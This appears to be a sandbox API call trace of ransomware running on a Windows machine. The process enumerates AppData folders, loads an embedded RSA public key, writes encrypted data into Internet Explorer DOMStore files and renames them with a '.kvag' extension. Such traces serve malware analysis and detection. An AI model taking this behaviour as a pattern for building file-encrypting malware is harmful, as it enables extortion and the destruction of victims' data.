PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\") returned="Acrobat\\" [0122.051] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0122.051] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.051] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.051] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.051] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.051] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.051] PathFindFileNameW (pszPath="") returned="" [0122.051] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0122.052] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0122.052] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0122.052] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0122.053] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0122.053] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0122.053] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0122.053] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0122.053] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.053] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.053] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.053] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.053] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.053] PathFindFileNameW (pszPath="") returned="" [0122.053] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0122.055] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0122.055] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0122.055] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0122.056] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\") returned="36USA68T\\" [0122.056] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0122.056] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0122.056] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0122.056] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.056] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.056] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.056] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.056] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.056] PathFindFileNameW (pszPath="") returned="" [0122.056] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0122.056] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml") returned=".xml" [0122.056] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0122.057] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=13) returned 1 [0122.057] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0122.059] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xd, lpOverlapped=0x0) returned 1 [0122.060] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0122.060] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0122.061] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0122.061] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0122.061] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0122.061] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0122.061] CryptDestroyHash (hHash=0x6183888) returned 1 [0122.061] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0122.061] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0122.061] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0122.061] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0122.061] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0122.062] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.062] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0122.062] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml.kvag")) returned 1 [0122.063] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0122.064] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0122.064] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0122.064] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\") returned="3O75JDME\\" [0122.064] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0122.064] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0122.064] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0122.064] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.064] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.064] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.064] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.064] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.064] PathFindFileNameW (pszPath="") returned="" [0122.064] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x605dd8a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0122.065] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml") returned=".xml" [0122.065] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0122.066] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=13) returned 1 [0122.066] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0122.069] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xd, lpOverlapped=0x0) returned 1 [0122.069] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0122.070] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0122.070] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0122.070] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0122.070] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0122.071] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0122.071] CryptDestroyHash (hHash=0x6183888) returned 1 [0122.071] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0122.071] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0122.071] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0122.071] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0122.071] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0122.071] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.071] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0122.071] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml.kvag")) returned 1 [0122.073] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0122.073] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0122.073] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0122.073] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\") returned="UV0DUWVB\\" [0122.073] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0122.073] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0122.073] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0122.073] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.073] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.074] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.074] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.074] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.074] PathFindFileNameW (pszPath="") returned="" [0122.074] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0122.074] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0122.074] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0122.074] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0122.074] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\") returned="VGMTOI09\\" [0122.074] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0122.074] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0122.074] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0122.075] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.075] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.075] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.075] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.075] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.075] PathFindFileNameW (pszPath="") returned="" [0122.075] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0122.075] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml") returned=".xml" [0122.075] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0122.076] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=836) returned 1 [0122.076] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0122.079] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x31e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.079] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0122.080] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x344, lpOverlapped=0x0) returned 1 [0122.080] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0122.081] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0122.081] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0122.081] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0122.081] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0122.082] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0122.082] CryptDestroyHash (hHash=0x6183888) returned 1 [0122.082] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0122.082] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0122.082] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0122.082] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0122.082] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0122.082] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.082] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0122.082] 